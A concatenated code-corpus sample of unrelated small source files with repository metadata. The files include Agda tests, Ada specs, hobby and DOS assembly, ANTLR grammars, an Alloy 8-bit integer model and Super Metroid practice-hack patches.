r0_comm {} { capability = app_ID13SwitchOnSetHomeMode.location attribute = cap_location_attr_mode value = cap_location_attr_mode_val_Home }
test/Fail/Issue3541EqualityNotPositive.agda
shlevy/agda
1,989
7277
-- Andreas, 2020-02-15 -- Test case by Jesper to prevent regressions when fixing #3541. -- Jesper, 2019-09-12: The fix of #3541 introduced a regression: the -- index of the equality type is treated as a positive argument. postulate X : Set module EqualityAsPredicate where data _≡_ (A : Set) : Set → Set where refl : A ≡ A data D : Set where c : D ≡ X → D data E : Set where c : X ≡ E → E module EqualityAsRelation where data _≡_ : Set → Set → Set where refl : ∀{A} → A ≡ A data D : Set where c : D ≡ X → D data E : Set where c : X ≡ E → E -- Expected: -- Positivity checker rejects D and E in both variants.
generated/natools-static_maps-web-acl-t.ads
faelys/natools-web
1
19549
<filename>generated/natools-static_maps-web-acl-t.ads -- Generated at 2017-03-27 17:51:45 +0000 by Natools.Static_Hash_Maps -- from src/natools-web-acl-maps.sx function Natools.Static_Maps.Web.ACL.T return Boolean; pragma Pure (Natools.Static_Maps.Web.ACL.T);
hello.asm
akx/toyvm
0
241038
<filename>hello.asm<gh_stars>0 li $1 0 ; li $3 1010b a1: lb $2 dt $1 ; $2 = m[$1+(dt)] or $2 $3 out 1 $2 ; output $2 inc $1 jeq $2 $0 a2 ; if zero, jump out jmp a1 a2: hlt dt: sdata Hello, world. data 0
Microprocessor/mouse2.asm
Nmane1612/Nihar-Mane
3
664
; mouse drawing. ; press left mouse button to draw. ; for a real test click external->run from the emulator's menu. name "mouse2" org 100h jmp start oldX dw -1 oldY dw 0 start: mov ah, 00 mov al, 13h ; set screen to 256 colors, 320x200 pixels. int 10h ; reset mouse and get its status: mov ax, 0 int 33h cmp ax, 0 ; display mouse cursor: ;mov ax, 1 ;int 33h check_mouse_button: mov ax, 3 int 33h shr cx, 1 ; x/2 - in this mode the value of CX is doubled. cmp bx, 1 jne xor_cursor: mov al, 1010b ; pixel color jmp draw_pixel xor_cursor: cmp oldX, -1 je not_required push cx push dx mov cx, oldX mov dx, oldY mov ah, 0dh ; get pixel. int 10h xor al, 1111b ; pixel color mov ah, 0ch ; set pixel int 10h pop dx pop cx not_required: mov ah, 0dh ; get pixel. int 10h xor al, 1111b ; pixel color mov oldX, cx mov oldY, dx draw_pixel: mov ah, 0ch ; set pixel int 10h check_esc_key: mov dl, 255 mov ah, 6 int 21h cmp al, 27 ; esc? jne check_mouse_button stop: ;mov ax, 2 ; hide mouse cursor. ;int 33h mov ax, 3 ; back to text mode: 80x25 int 10h ; show box-shaped blinking text cursor: mov ah, 1 mov ch, 0 mov cl, 8 int 10h mov dx, offset msg mov ah, 9 int 21h mov ah, 0 int 16h ret msg db " press any key.... $"
BigNum/Mod/Monty/bnDivpow2.asm
FloydZ/Crypto-Hash
11
14993
.686 .model flat,stdcall option casemap:none include .\bnlib.inc include .\bignum.inc .code bnDivpow2 proc bnX:DWORD,bitsY:DWORD,bnQuo:DWORD invoke bnMov,bnQuo,bnX invoke bnShr,bnQuo,bitsY ret bnDivpow2 endp end
3-mid/impact/source/3d/math/impact-d3-min_max.ads
charlie5/lace
20
3410
package impact.d3.min_max -- -- -- is use Math; function btClamped (a : in Real; lower_Bound, upper_Bound : in Real) return Real; procedure btSetMin (a : in out Real; b : in Real); procedure btSetMax (a : in out Real; b : in Real); procedure btClamp (a : in out Real; lower_Bound, upper_Bound : in Real); end impact.d3.min_max;
oeis/117/A117717.asm
neoneye/loda-programs
11
93076
<reponame>neoneye/loda-programs ; A117717: Maximal number of regions obtained by a straight line drawing of the complete bipartite graph K_{n,n}. ; 0,2,13,45,116,250,477,833,1360,2106,3125,4477,6228,8450,11221,14625,18752,23698,29565,36461,44500,53802,64493,76705,90576,106250,123877,143613,165620,190066,217125,246977,279808,315810,355181,398125,444852,495578,550525,609921,674000,743002,817173,896765,982036,1073250,1170677,1274593,1385280,1503026,1628125,1760877,1901588,2050570,2208141,2374625,2550352,2735658,2930885,3136381,3352500,3579602,3818053,4068225,4330496,4605250,4892877,5193773,5508340,5836986,6180125,6538177,6911568,7300730 lpb $0 add $3,$0 add $3,$0 sub $0,1 add $2,$3 add $1,$2 sub $2,$0 lpe mov $0,$1
src/hypro/parser/antlr4-cif/HybridSystem.g4
hypro/hypro
22
4302
<reponame>hypro/hypro /*exported from CIF3 Sytax*/ grammar HybridSystem; import Expressions, CIFLocation, InputOutput; specification: groupBody; groupBody: optGroupDecls; automatonBody: optAutDecls locations optIoDecls; optGroupDecls: groupDecl*; groupDecl: decl | 'import' imports ';' | 'namespace' IDENTIFIER ';' | 'namespace' RELATIVENAME ';' | 'func' types identifier funcParams ':' funcBody | identifier ':' name actualParms ';' | 'group' 'def' identifier formalParms ':' groupBody 'end' | optSupKind 'automaton' 'def' identifier formalParms ':' automatonBody 'end' | supKind 'def' identifier ':' groupBody 'end' | optSupKind 'automaton' identifier ':' automatonBody 'end' | supKind identifier ':' automatonBody 'end'; optAutDecls: autDecl*; autDecl: decl | 'alphabet' events ';' | 'alphabet' ';' | 'monitor' events ';' | 'monitor' ';' | 'disc' type discDecls ';'; decl: 'type' typeDefs ';' | 'enum' enumDefs ';' | optControllability 'event' identifier ';' | optControllability 'event' eventType identifier ';' | controllability identifier ';' | controllability eventType identifier ';' | 'const' type constantDefs ';' | 'alg' type algVarsDefs ';' | 'input' type identifier ';' | 'cont' contDecls ';' | 'equation' equations ';' | 'initial' expressions ';' | invariantDecls | 'marked' expressions ';' | ioDecls; imports: stringToken (',' stringToken)*; typeDefs: identifier '=' type (',' identifier '=' type)*; enumDefs: identifier '=' '{' identifier '}' (',' identifier '=' '{' identifier '}')*; constantDefs: identifier '=' expression (',' identifier '=' expression)*; algVarsDefs: ( identifier | identifier '=' expression) ( ',' (identifier | identifier '=' expression))*; funcParams: '(' ')' | '(' funcParamDecls ')'; funcParamDecls: type identifier (';' type identifier)*; funcBody: funcVarDecls funcStatements 'end' | stringToken ';'; funcVarDecls: (type funcVarDecl ';')*; funcVarDecl: ( identifier | identifier '=' expression) ( ',' (identifier | identifier '=' expression))*; funcStatements: funcStatement+; funcStatement: adressables ':=' expressions ';' | 'if' expressions ':' funcStatements optElifFuncStats optElseFuncStat 'end' | 'while' expressions ':' funcStatements 'end' | 'break' ';' | 'continue' ';' | 'return' expressions ';'; optElifFuncStats: ('elif' expression ':' funcStatements)*; optElseFuncStat: 'else' funcStatements; events: name (',' name)*; actualParms: '(' ')' | '(' expressions ')'; formalParms: '(' ')' | '(' formalDecls ')'; formalDecls: formalDeclaration (';' formalDeclaration)*; formalDeclaration: optControllability 'event' identifier | optControllability 'event' eventType identifier | controllability identifier | controllability eventType identifier | name identifier | 'location' identifier | 'alg' type identifier; discDecls: discDecl (',' discDecl)*; discDecl: identifier | identifier 'in' 'any' | identifier '=' expression | identifier 'in' '{' expressions '}'; contDecls: contDecl (',' contDecl)*; contDecl: identifier optDerivate | identifier '=' expression optDerivate; optDerivate: ('der' expression)?; optControllability: controllability?; controllability: 'controllable' | 'uncontrollable'; eventType: 'void' | type;
org.alloytools.alloy.core/src/main/resources/models/util/int8bits.als
cesarcorne/org.alloytools.alloy
0
1346
module util/int8bits open util/boolean /* * * A collection of utility functions for using Integers in Alloy. * */ /** Representation of a Integer of 8 bits */ sig Number8 { b00: Bool, b01: Bool, b02: Bool, b03: Bool, b04: Bool, b05: Bool, b06: Bool, b07: Bool } /** AdderCarry and AdderSum reserver functions */ fun AdderCarry[a: Bool, b: Bool, cin: Bool]: Bool { Or[ And[a,b], And[cin, Xor[a,b]]] } fun AdderSum[a: Bool, b: Bool, cin: Bool]: Bool { Xor[Xor[a, b], cin] } /**Frome here there are the well knowns preds and functions over integers provided by Alloy with 8 bits representation*/ fun add [n1, n2 : Number8] : Number8 { {result : Number8 | predAdd[n1, n2, result]} } fun plus [n1, n2 : Number8] : Number8 { {result : Number8 | predAdd[n1, n2, result]} } fun sub [n1, n2 : Number8] : Number8 { {result : Number8 | predAdd[n2, result, n1]} } fun minus [n1, n2 : Number8] : Number8 { {result : Number8 | predAdd[n2, result, n1]} } fun mul [n1, n2: Number8] : Number8 { {result : Number8 | predMul[n1, n2, result]} } fun div [n1, n2: Number8] : Number8 { {result : Number8 | predMul[n1, result, n2]} } pred predRem[n1, n2, rem: Number8]{ let div = div[n1, n2] | let aux = mul[div, n2] | rem = sub[n1, aux] } fun rem [n1, n2: Number8] : Number8{ {result : Number8 | predRem[n1, n2, result]} } /** Predicate to state if a is equal to b */ pred eq[a: Number8, b: Number8] { a.b00 = b.b00 a.b01 = b.b01 a.b02 = b.b02 a.b03 = b.b03 a.b04 = b.b04 a.b05 = b.b05 a.b06 = b.b06 a.b07 = b.b07 } /** Predicate to state if a is not equal to b */ pred neq[a: Number8, b: Number8] { not eq[a, b] } /** Predicate to state if a is greater than b */ pred gt[a: Number8, b: Number8] { (a.b07 = False and b.b07 = True) or (a.b07 = b.b07) and (a.b06 = True and b.b06 = False) or (a.b07 = b.b07) and (a.b06 = b.b06) and (a.b05 = True and b.b05 = False) or (a.b07 = b.b07) and (a.b06 = b.b06) and (a.b05 = b.b05) and (a.b04 = True and b.b04 = False) or (a.b07 = b.b07) and (a.b06 = b.b06) and (a.b05 = b.b05) and (a.b04 = b.b04) and (a.b03 = True and b.b03 = False) or (a.b07 = b.b07) and (a.b06 = b.b06) and (a.b05 = b.b05) and (a.b04 = b.b04) and (a.b03 = b.b03) and (a.b02 = True and b.b02 = False) or (a.b07 = b.b07) and (a.b06 = b.b06) and (a.b05 = b.b05) and (a.b04 = b.b04) and (a.b03 = b.b03) and (a.b02 = b.b02) and (a.b01 = True and b.b01 = False) or (a.b07 = b.b07) and (a.b06 = b.b06) and (a.b05 = b.b05) and (a.b04 = b.b04) and (a.b03 = b.b03) and (a.b02 = b.b02) and (a.b01 = b.b01) and (a.b00 = True and b.b00 = False) } /** Predicate to state if a is less than b */ pred lt[a: Number8, b: Number8] { not gte[a, b] } /** Predicate to state if a is greater than or equal to b */ pred gte[a: Number8, b: Number8] { gt[a, b] or eq[a, b] } /** Predicate to state if a is less or equal to b */ pred lte[a: Number8, b: Number8] { not gt[a, b] } pred zero [n1: Number8]{ n1.b00 in False n1.b01 in False n1.b02 in False n1.b03 in False n1.b04 in False n1.b05 in False n1.b06 in False n1.b07 in False } pred pos [n1: Number8]{ n1.b07 in False and not zero[n1] } pred neg [n1: Number8]{ n1.b07 in True } pred nonpos[n1: Number8]{ n1.b07 = True or zero[n1] } pred nonneg[n1: Number8]{ n1.b07 = False } fun maxInt : Number8 { {result : Number8 | result.b00 = True and result.b01 = True and result.b02 = True and result.b03 = True and result.b04 = True and result.b05 = True and result.b06 = True and result.b07 = False} } fun minInt : Number8 { {result : Number8 | result.b00 = True and result.b01 = False and result.b02 = False and result.b03 = False and result.b04 = False and result.b05 = False and result.b06 = False and result.b07 = True} } fun max[n: set Number8] : lone Number8 { {result : Number8 | all aux : n | gte[result,aux] and result in n} } fun min[n: set Number8] : lone Number8 { {result : Number8 | all aux : n | lte[result,aux] and result in n} } fun prevs[n: Number8]: set Number8 { {result : Number8 | all a : result | lt[a, n]} } fun nexts[n: Number8]: set Number8 { {result: Number8 | all a : result | gt[a,n]} } fun larger [n1, n2: Number8] : Number8 {gte[n1, n2] => n1 else n2} fun smaller [n1, n2: Number8] : Number8 {lte[n1, n2] => n1 else n2} /** Auxiliar predicate to sum two numbers, the result is kept in result*/ pred predAdd[a: Number8, b: Number8, result: Number8] { let c_0 = False | let s_0 = AdderSum[a.b00, b.b00, c_0] | let c_1 = AdderCarry[a.b00, b.b00, c_0] | let s_1 = AdderSum[a.b01, b.b01, c_1] | let c_2 = AdderCarry[a.b01, b.b01, c_1] | let s_2 = AdderSum[a.b02, b.b02, c_2] | let c_3 = AdderCarry[a.b02, b.b02, c_2] | let s_3 = AdderSum[a.b03, b.b03, c_3] | let c_4 = AdderCarry[a.b03, b.b03, c_3] | let s_4 = AdderSum[a.b04, b.b04, c_4] | let c_5 = AdderCarry[a.b04, b.b04, c_4] | let s_5 = AdderSum[a.b05, b.b05, c_5] | let c_6 = AdderCarry[a.b05, b.b05, c_5] | let s_6 = AdderSum[a.b06, b.b06, c_6] | let c_7 = AdderCarry[a.b06, b.b06, c_6] | let s_7 = AdderSum[a.b07, b.b07, c_7] | result.b00 in s_0 and result.b01 in s_1 and result.b02 in s_2 and result.b03 in s_3 and result.b04 in s_4 and result.b05 in s_5 and result.b06 in s_6 and result.b07 in s_7 } /** Auxiliar predicate to multiplies two numbers, the result is kept in result*/ pred predMul[a: Number8, b: Number8, result: Number8] { let c_0_0 = False | let s_0_0 = False | let s_0_1 = AdderSum [s_0_0, And[a.b00, b.b00], c_0_0] | let c_1_0 = False | let c_1_1 = AdderCarry[s_0_0, And[a.b00, b.b00], c_0_0] | let s_1_0 = False | let s_1_1 = AdderSum [s_1_0, And[a.b01, b.b00], c_1_0] | let s_1_2 = AdderSum [s_1_1, And[a.b00, b.b01], c_1_1] | let c_2_0 = False | let c_2_1 = AdderCarry[s_1_0, And[a.b01, b.b00], c_1_0] | let c_2_2 = AdderCarry[s_1_1, And[a.b00, b.b01], c_1_1] | let s_2_0 = False | let s_2_1 = AdderSum [s_2_0, And[a.b02, b.b00], c_2_0] | let s_2_2 = AdderSum [s_2_1, And[a.b01, b.b01], c_2_1] | let s_2_3 = AdderSum [s_2_2, And[a.b00, b.b02], c_2_2] | let c_3_0 = False | let c_3_1 = AdderCarry[s_2_0, And[a.b02, b.b00], c_2_0] | let c_3_2 = AdderCarry[s_2_1, And[a.b01, b.b01], c_2_1] | let c_3_3 = AdderCarry[s_2_2, And[a.b00, b.b02], c_2_2] | let s_3_0 = False | let s_3_1 = AdderSum [s_3_0, And[a.b03, b.b00], c_3_0] | let s_3_2 = AdderSum [s_3_1, And[a.b02, b.b01], c_3_1] | let s_3_3 = AdderSum [s_3_2, And[a.b01, b.b02], c_3_2] | let s_3_4 = AdderSum [s_3_3, And[a.b00, b.b03], c_3_3] | let c_4_0 = False | let c_4_1 = AdderCarry[s_3_0, And[a.b03, b.b00], c_3_0] | let c_4_2 = AdderCarry[s_3_1, And[a.b02, b.b01], c_3_1] | let c_4_3 = AdderCarry[s_3_2, And[a.b01, b.b02], c_3_2] | let c_4_4 = AdderCarry[s_3_3, And[a.b00, b.b03], c_3_3] | let s_4_0 = False | let s_4_1 = AdderSum [s_4_0, And[a.b04, b.b00], c_4_0] | let s_4_2 = AdderSum [s_4_1, And[a.b03, b.b01], c_4_1] | let s_4_3 = AdderSum [s_4_2, And[a.b02, b.b02], c_4_2] | let s_4_4 = AdderSum [s_4_3, And[a.b01, b.b03], c_4_3] | let s_4_5 = AdderSum [s_4_4, And[a.b00, b.b04], c_4_4] | let c_5_0 = False | let c_5_1 = AdderCarry[s_4_0, And[a.b04, b.b00], c_4_0] | let c_5_2 = AdderCarry[s_4_1, And[a.b03, b.b01], c_4_1] | let c_5_3 = AdderCarry[s_4_2, And[a.b02, b.b02], c_4_2] | let c_5_4 = AdderCarry[s_4_3, And[a.b01, b.b03], c_4_3] | let c_5_5 = AdderCarry[s_4_4, And[a.b00, b.b04], c_4_4] | let s_5_0 = False | let s_5_1 = AdderSum [s_5_0, And[a.b05, b.b00], c_5_0] | let s_5_2 = AdderSum [s_5_1, And[a.b04, b.b01], c_5_1] | let s_5_3 = AdderSum [s_5_2, And[a.b03, b.b02], c_5_2] | let s_5_4 = AdderSum [s_5_3, And[a.b02, b.b03], c_5_3] | let s_5_5 = AdderSum [s_5_4, And[a.b01, b.b04], c_5_4] | let s_5_6 = AdderSum [s_5_5, And[a.b00, b.b05], c_5_5] | let c_6_0 = False | let c_6_1 = AdderCarry[s_5_0, And[a.b05, b.b00], c_5_0] | let c_6_2 = AdderCarry[s_5_1, And[a.b04, b.b01], c_5_1] | let c_6_3 = AdderCarry[s_5_2, And[a.b03, b.b02], c_5_2] | let c_6_4 = AdderCarry[s_5_3, And[a.b02, b.b03], c_5_3] | let c_6_5 = AdderCarry[s_5_4, And[a.b01, b.b04], c_5_4] | let c_6_6 = AdderCarry[s_5_5, And[a.b00, b.b05], c_5_5] | let s_6_0 = False | let s_6_1 = AdderSum [s_6_0, And[a.b06, b.b00], c_6_0] | let s_6_2 = AdderSum [s_6_1, And[a.b05, b.b01], c_6_1] | let s_6_3 = AdderSum [s_6_2, And[a.b04, b.b02], c_6_2] | let s_6_4 = AdderSum [s_6_3, And[a.b03, b.b03], c_6_3] | let s_6_5 = AdderSum [s_6_4, And[a.b02, b.b04], c_6_4] | let s_6_6 = AdderSum [s_6_5, And[a.b01, b.b05], c_6_5] | let s_6_7 = AdderSum [s_6_6, And[a.b00, b.b06], c_6_6] | let c_7_0 = False | let c_7_1 = AdderCarry[s_6_0, And[a.b06, b.b00], c_6_0] | let c_7_2 = AdderCarry[s_6_1, And[a.b05, b.b01], c_6_1] | let c_7_3 = AdderCarry[s_6_2, And[a.b04, b.b02], c_6_2] | let c_7_4 = AdderCarry[s_6_3, And[a.b03, b.b03], c_6_3] | let c_7_5 = AdderCarry[s_6_4, And[a.b02, b.b04], c_6_4] | let c_7_6 = AdderCarry[s_6_5, And[a.b01, b.b05], c_6_5] | let c_7_7 = AdderCarry[s_6_6, And[a.b00, b.b06], c_6_6] | let s_7_0 = False | let s_7_1 = AdderSum [s_7_0, And[a.b07, b.b00], c_7_0] | let s_7_2 = AdderSum [s_7_1, And[a.b06, b.b01], c_7_1] | let s_7_3 = AdderSum [s_7_2, And[a.b05, b.b02], c_7_2] | let s_7_4 = AdderSum [s_7_3, And[a.b04, b.b03], c_7_3] | let s_7_5 = AdderSum [s_7_4, And[a.b03, b.b04], c_7_4] | let s_7_6 = AdderSum [s_7_5, And[a.b02, b.b05], c_7_5] | let s_7_7 = AdderSum [s_7_6, And[a.b01, b.b06], c_7_6] | let s_7_8 = AdderSum [s_7_7, And[a.b00, b.b07], c_7_7] | result.b00 = s_0_1 and result.b01 = s_1_2 and result.b02 = s_2_3 and result.b03 = s_3_4 and result.b04 = s_4_5 and result.b05 = s_5_6 and result.b06 = s_6_7 and result.b07 = s_7_8 } --fun neg /** given an integer, return all integers prior to it */ --fun prevs [e: Int]: set Int { e.^prev } //fun sum //fun sub //fun mul //fun div /** returns the larger of the two integers */ --fun larger [e1, e2: Int]: Int { let a=int[e1], b=int[e2] | (a<b => b else a) } /** returns the smaller of the two integers */ --fun smaller [e1, e2: Int]: Int { let a=int[e1], b=int[e2] | (a<b => a else b) } sig s{ conj : set Number8 } pred toRun[n : Number8, aux : s]{ s.conj = nexts[n] and n !in s.conj } run toRun for 6 Number8, 1 s
Task/XML-DOM-serialization/Ada/xml-dom-serialization.ada
LaudateCorpus1/RosettaCodeData
1
30597
<filename>Task/XML-DOM-serialization/Ada/xml-dom-serialization.ada with Ada.Text_IO.Text_Streams; with DOM.Core.Documents; with DOM.Core.Nodes; procedure Serialization is My_Implementation : DOM.Core.DOM_Implementation; My_Document : DOM.Core.Document; My_Root_Node : DOM.Core.Element; My_Element_Node : DOM.Core.Element; My_Text_Node : DOM.Core.Text; begin My_Document := DOM.Core.Create_Document (My_Implementation); My_Root_Node := DOM.Core.Documents.Create_Element (My_Document, "root"); My_Root_Node := DOM.Core.Nodes.Append_Child (My_Document, My_Root_Node); My_Element_Node := DOM.Core.Documents.Create_Element (My_Document, "element"); My_Element_Node := DOM.Core.Nodes.Append_Child (My_Root_Node, My_Element_Node); My_Text_Node := DOM.Core.Documents.Create_Text_Node (My_Document, "Some text here"); My_Text_Node := DOM.Core.Nodes.Append_Child (My_Element_Node, My_Text_Node); DOM.Core.Nodes.Write (Stream => Ada.Text_IO.Text_Streams.Stream (Ada.Text_IO.Standard_Output), N => My_Document, Pretty_Print => True); end Serialization;
awa/plugins/awa-images/src/awa-images-beans.ads
fuzzysloth/ada-awa
0
29468
----------------------------------------------------------------------- -- awa-images-beans -- Image Ada Beans -- Copyright (C) 2016 <NAME> -- Written by <NAME> (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- with Ada.Strings.Unbounded; with ADO; with Util.Beans.Objects; with Util.Beans.Basic; with AWA.Storages.Beans; with AWA.Images.Models; with AWA.Images.Modules; -- == Image Beans == -- The <tt>Image_List_Bean</tt> type is used to represent a list of image stored in -- a folder. -- -- The <tt>Image_Bean</tt> type holds all the data to give information about an image. -- -- == Ada Beans == -- @include images.xml package AWA.Images.Beans is -- ------------------------------ -- Image List Bean -- ------------------------------ -- This bean represents a list of images for a given folder. type Image_List_Bean is new AWA.Storages.Beans.Storage_List_Bean with record -- List of images. Image_List : aliased AWA.Images.Models.Image_Info_List_Bean; Image_List_Bean : AWA.Images.Models.Image_Info_List_Bean_Access; end record; type Image_List_Bean_Access is access all Image_List_Bean'Class; -- Load the list of images associated with the current folder. overriding procedure Load_Files (Storage : in Image_List_Bean); overriding function Get_Value (List : in Image_List_Bean; Name : in String) return Util.Beans.Objects.Object; -- Create the Image_List_Bean bean instance. function Create_Image_List_Bean (Module : in AWA.Images.Modules.Image_Module_Access) return Util.Beans.Basic.Readonly_Bean_Access; -- ------------------------------ -- Image Bean -- ------------------------------ -- Information about an image (excluding the image data itself). type Image_Bean is new AWA.Images.Models.Image_Bean with record Module : AWA.Images.Modules.Image_Module_Access; end record; type Image_Bean_Access is access all Image_Bean'Class; overriding procedure Load (Into : in out Image_Bean; Outcome : in out Ada.Strings.Unbounded.Unbounded_String); -- Create the Image_Bean bean instance. function Create_Image_Bean (Module : in AWA.Images.Modules.Image_Module_Access) return Util.Beans.Basic.Readonly_Bean_Access; end AWA.Images.Beans;
src/misc.asm
tewtal/sm_practice_hack
15
169442
<reponame>tewtal/sm_practice_hack ; Patch out copy protection org $008000 db $FF ; Set SRAM size if !FEATURE_SD2SNES org $00FFD8 db $08 ; 256kb else org $00FFD8 db $05 ; 64kb endif ; Skip intro ; $82:EEDF A9 95 A3 LDA #$A395 org $82EEDF if !FEATURE_PAL LDA #$C065 else LDA #$C100 endif ; Fix Zebes planet tiling error org $8C9607 dw #$0E2F ; Skips the waiting time after teleporting if !FEATURE_PAL org $90E874 else org $90E877 endif BRA $1F ; Adds frames when unpausing (nmi is turned off during vram transfers) ; $80:A16B 22 4B 83 80 JSL $80834B[$80:834B] org $80A16B JSL hook_unpause ; $82:8BB3 22 69 91 A0 JSL $A09169[$A0:9169] ; Handles Samus getting hurt? org $828BB3 JSL gamemode_end ; Replace unnecessary logic checking controller input to toggle debug CPU brightness ; with logic to collect the v-counter data org $828AB1 %a8() : LDA $4201 : ORA #$80 : STA $4201 : %ai16() LDA $2137 : LDA $213D : STA !ram_vcounter_data ; For efficiency, re-implement the debug brightness logic here LDA $0DF4 : BEQ .skip_debug_brightness %a8() : LDA $51 : AND #$F0 : ORA #$05 : STA $2100 : %a16() BRA .skip_debug_brightness warnpc $828ADD org $828ADD ; Resume original logic .skip_debug_brightness org $CF8BBF ; Set map scroll beep to high priority dw $2A97 ; $80:8F24 9C F6 07 STZ $07F6 [$7E:07F6] ;/ ; $80:8F27 8D 40 21 STA $2140 [$7E:2140] ; APU IO 0 = [music track] org $808F24 JSL hook_set_music_track NOP #2 ; swap Enemy HP to MB HP when entering MB's room org $83AAD2 dw #MotherBrainHP org $8FEA00 ; free space for door asm MotherBrainHP: { LDA !sram_display_mode : BNE .done LDA #$0001 : STA !sram_display_mode LDA #$0007 : STA !sram_room_strat .done RTS } org $87D000 print pc, " misc start" hook_set_music_track: { STZ $07F6 PHA LDA !sram_music_toggle : BEQ .noMusic PLA : STA $2140 RTL .noMusic PLA RTL } hook_unpause: { ; RT room LDA !ram_realtime_room : CLC : ADC.w #41 : STA !ram_realtime_room ; RT seg LDA !ram_seg_rt_frames : CLC : ADC.w #41 : STA !ram_seg_rt_frames CMP.w #60 : BCC .done SEC : SBC.w #60 : STA !ram_seg_rt_frames LDA !ram_seg_rt_seconds : INC : STA !ram_seg_rt_seconds CMP.w #60 : BCC .done LDA #$0000 : STA !ram_seg_rt_seconds LDA !ram_seg_rt_minutes : INC : STA !ram_seg_rt_minutes .done ; Replace overwritten logic to enable NMI JSL $80834B RTL } gamemode_end: { ; overwritten logic if !FEATURE_PAL JSL $A09179 else JSL $A09169 endif ; If minimap is disabled or shown, we ignore artificial lag LDA $05F7 : BNE .endlag LDA !ram_minimap : BNE .endlag ; Ignore artifical lag if OOB viewer is active LDA !ram_oob_watch_active : BNE .endlag ; Artificial lag, multiplied by 16 to get loop count ; Each loop takes 5 clock cycles (assuming branch taken) ; For reference, 41 loops ~= 1 scanline LDA !sram_artificial_lag : BEQ .endlag ASL #4 : TAX .lagloop DEX : BNE .lagloop .endlag RTL } stop_all_sounds: { ; If $05F5 is non-zero, the game won't clear the sounds LDA $05F5 : PHA LDA #$0000 : STA $05F5 JSL $82BE17 PLA : STA $05F5 ; Makes the game check Samus' health again, to see if we need annoying sound LDA #$0000 : STA $0A6A RTL } print pc, " misc end"
test/Succeed/RawFunctor.agda
redfish64/autonomic-agda
3
16958
{-# OPTIONS --universe-polymorphism #-} module RawFunctor where open import Common.Level postulate RawFunctor : ∀ {ℓ} (F : Set ℓ → Set ℓ) → Set (lsuc ℓ) -- Broken occurs check for levels made this not infer properly postulate sequence⁻¹ : ∀ {F}{A} {P : A → Set} → RawFunctor F → F (∀ i → P i) → ∀ i → F (P i)
src/main/antlr4/de/calamanari/pk/ohbf/bloombox/bbq/PostBbq.g4
KarlEilebrecht/patterns-kompakt-code
2
2542
<reponame>KarlEilebrecht/patterns-kompakt-code<gh_stars>1-10 /* * PostBbq.g4 * Code-Beispiel zum Buch Patterns Kompakt, Verlag Springer Vieweg * Copyright 2014 <NAME> * * Licensed under the Apache License, Version 2.0 (the "License"): * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /* Post-BBQ is the post query ANTLR-grammar for BloomBox queries to combine results of named queries. A query reference is defined as ${otherQueryName} Query references can be combined using UNION, INTERSECT and MINUS. Braces are supported. Operators of the language are case-insensitive (e.g. "union" vs. "UNION"), query names (references) are case-sensitive. Query names and values can be optionally surrounded by double or single quotes, if they contain spaces or would otherwise conflict with the Post-BBQ language. Should it be necessary to escape any character (e.g. double quote inside double quotes) then the backslash is the escape character, which can itself be escaped by itself. Escaping outside single or double quotes is not supported. Line breaks are treated as regular whitespace to support multi-line queries. */ grammar PostBbq; fragment A : ('A'|'a') ; fragment U : ('U'|'u') ; fragment N : ('N'|'n') ; fragment I : ('I'|'i') ; fragment O : ('O'|'o') ; fragment E : ('E'|'e') ; fragment R : ('R'|'r') ; fragment T : ('T'|'t') ; fragment S : ('S'|'s') ; fragment C : ('C'|'c') ; fragment M : ('M'|'m') ; fragment X : ('X'|'x') ; fragment SQUOTE : ('\'') ; fragment DQUOTE : ('"') ; fragment ESCAPE : ('\\') ; ESCESC : ESCAPE ESCAPE ; ESCSQ : ESCAPE SQUOTE ; ESCDQ : ESCAPE DQUOTE ; UNION : U N I O N ; INTERSECT : I N T E R S E C T ; MINUS : M I N U S ; MINMAX : M I N M A X ; SIMPLE_WORD : (~[ \t\r\n'"()${},;])+ ; SQWORD : SQUOTE (~['\\] | ' ' | ESCESC | ESCSQ)* SQUOTE {setText(getText().substring(1, getText().length()-1).replace("\\'","'").replace("\\\\","\\"));} ; DQWORD : DQUOTE (~["\\] | ' ' | ESCESC | ESCDQ)* DQUOTE {setText(getText().substring(1, getText().length()-1).replace("\\\"","\"").replace("\\\\","\\"));} ; /* Parser rules */ refStart : '$' '{' (' ' | '\t' | '\r' | '\n')* ; refEnd : (' ' | '\t' | '\r' | '\n')* '}' ; source : (SIMPLE_WORD | SQWORD | DQWORD) ; reference : refStart source refEnd ; lowerBound : SIMPLE_WORD ; upperBound : SIMPLE_WORD ; minMaxExpression : (' ' | '\t' | '\r' | '\n')* MINMAX (' ' | '\t' | '\r' | '\n')* '(' expression (',' (' ' | '\t' | '\r' | '\n')* expression)* (' ' | '\t' | '\r' | '\n')* ';' (' ' | '\t' | '\r' | '\n')* lowerBound (' ' | '\t' | '\r' | '\n')* ( ';' (' ' | '\t' | '\r' | '\n')* upperBound (' ' | '\t' | '\r' | '\n')* )? ')' ; unionExpression : (' ' | '\t' | '\r' | '\n')* UNION (' ' | '\t' | '\r' | '\n')* (bracedExpression | reference | minMaxExpression) ; intersectExpression : (' ' | '\t' | '\r' | '\n')* INTERSECT (' ' | '\t' | '\r' | '\n')* (bracedExpression | reference | minMaxExpression) ; minusExpression : (' ' | '\t' | '\r' | '\n')* MINUS (' ' | '\t' | '\r' | '\n')* (bracedExpression | reference | minMaxExpression) ; bracedExpression : (' ' | '\t' | '\r' | '\n')* '(' expression ')' (' ' | '\t' | '\r' | '\n')* ; expression : minMaxExpression | reference | (minMaxExpression | reference | bracedExpression) (unionExpression+ | intersectExpression+ | minusExpression+) ; query : expression (' ' | '\t' | '\r' | '\n')* EOF ;
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/array27.adb
best08618/asylo
7
28957
